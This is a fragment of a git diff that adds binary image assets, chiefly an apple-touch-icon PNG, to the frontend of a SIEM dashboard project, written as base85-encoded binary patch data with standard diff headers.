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 S|8wv^fNJevRbc6T{(k_0Evtb5 literal 0 HcmV?d00001 diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/apple-touch-icon.png b/PROJECTS/intermediate/siem-dashboard/frontend/public/assets/apple-touch-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..9579e16737cf29ae11c21390c403d538f11542b9 GIT binary patch literal 23362 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 